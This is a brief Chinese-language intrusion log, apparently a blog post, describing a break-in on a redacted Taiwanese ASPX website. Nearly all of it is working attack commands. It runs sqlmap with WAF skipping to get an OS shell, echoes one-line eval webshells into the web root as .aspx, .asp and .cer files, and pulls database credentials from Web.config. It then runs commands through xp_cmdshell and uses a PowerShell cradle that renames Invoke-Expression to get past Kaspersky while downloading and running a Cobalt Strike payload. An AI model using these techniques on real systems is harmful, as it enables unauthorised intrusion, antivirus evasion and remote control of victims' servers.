0x1
单引号页面报错得到数据库sqlserver 且路径
d:\WebSites\xxxx

使用sqlmap去跑注入
sqlmap -u "http://xxxxxxxxx.tw/xxxxxx/xxxxxx.aspx?News=129588" --random-agent --skip-waf --dbms mssql

--os-shell执行命令

尝试echo写马,访问401然后404可能被杀软杀了
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["a"],"unsafe");%^> >>d:\WebSites\xxxx\x.aspx
尝试写asp,访问401
echo ^<%eval request("c")%^> >>d:\WebSites\xxxx\x.asp
最后通过写入cer成功连接一句话
echo ^<%eval request("c")%^> >>d:\WebSites\xxxx\x.cer

发现无法执行命令
数据库能执行那么我们去找数据库配置文件,在D:/WebSites/xxxx/Web.config得到账号sitemaster密码xxxx
蚁剑连接数据库
利用数据库执行命令
use master;exec master..xp_cmdshell 'whoami';

执行命令tasklist /SVC通过比对发现系统存在卡巴基斯

这里bypass通过powershell上线
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('CSpowershell地址')

成功上线